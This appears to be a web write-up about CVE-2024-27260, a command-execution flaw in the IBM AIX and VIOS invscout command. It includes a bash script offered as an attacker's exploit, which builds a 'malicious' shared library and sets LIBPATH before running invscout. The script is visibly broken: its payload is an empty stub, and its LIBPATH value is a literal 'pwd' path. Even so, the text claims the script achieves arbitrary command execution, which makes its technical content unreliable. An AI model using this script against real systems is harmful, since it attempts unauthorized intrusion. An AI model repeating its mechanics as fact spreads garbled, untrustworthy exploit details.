CVE-2024-27260 - IBM AIX 7.2, 7.3, VIOS 3.1, VIOS 4.1 Invscout Command Non-privileged Local User Exploit

Introduction: A non-privileged local user can exploit a vulnerability present in the invscout command for IBM AIX 7.2, 7.3, VIOS 3.1, and VIOS 4.1 operating systems to execute arbitrary commands. This vulnerability has been assigned the CVE identifier CVE-2024-27260 and has an IBM X-Force ID of 283985.

IBM AIX is a series of proprietary Unix operating systems developed by IBM for their System p and Power Architecture-based systems, while VIOS or the Virtual I/O Server, is a strategic component of the IBM Power Systems servers for virtualization management to boost system efficiency.

The vulnerability is present in the invscout command, which is designed to gather system hardware and software inventory data and generate customizable reports. However, due to this flaw, the invscout command does not correctly handle user-supplied input, resulting in unauthorized command execution by a non-privileged local user.

Code Snippet: Here is a sample code snippet that can be utilized by an attacker to exploit the vulnerability and gain unauthorized access to the system:

#!/bin/bash
# CVE-2024-27260 exploit for IBM AIX 7.2, 7.3, VIOS 3.1, VIOS 4.1

# Step 1: Create a fake library containing the malicious payload
echo 'int system() { return ; }' > fake_lib.c
gcc -shared -o fake_lib.so fake_lib.c

# Step 2: Set the environment variable
export LIBPATH=pwd/fake_lib.so

# Step 3: Invoke the invscout command to trigger the exploit
/usr/sbin/invscout

Exploit Details: An attacker can exploit this vulnerability by creating a malicious shared library containing a crafted payload and setting the LIBPATH environment variable to point to the malicious library. Upon executing the invscout command, the system will load the malicious library, which in turn will execute the arbitrary command specified by the attacker. This allows unauthorized access to the system by a non-privileged local user.

Links to Original References

1. IBM Security Bulletin: https://www.ibm.com/support/pages/node/3881244
2. IBM X-Force Exchange: https://exchange.xforce.ibmcloud.com/vulnerabilities/283985
3. CVE-2024-27260: https://nvd.nist.gov/vuln/detail/CVE-2024-27260

Conclusion: IBM has recognized the severity of this vulnerability and recommends users promptly apply the necessary security updates to their AIX and VIOS systems in order to mitigate the risk of unauthorized access. Regularly patching systems and implementing a strong security policy can help reduce the likelihood of a successful exploit.

As always, be sure to exercise caution when running scripts or using unknown tools on your systems, even if the vulnerability has been patched. Keeping your systems up-to-date and monitoring them for unusual activity can help you stay safe from potential threats.

Timeline

Published on: 05/16/2024 17:16:01 UTC
Last modified on: 06/04/2024 17:47:20 UTC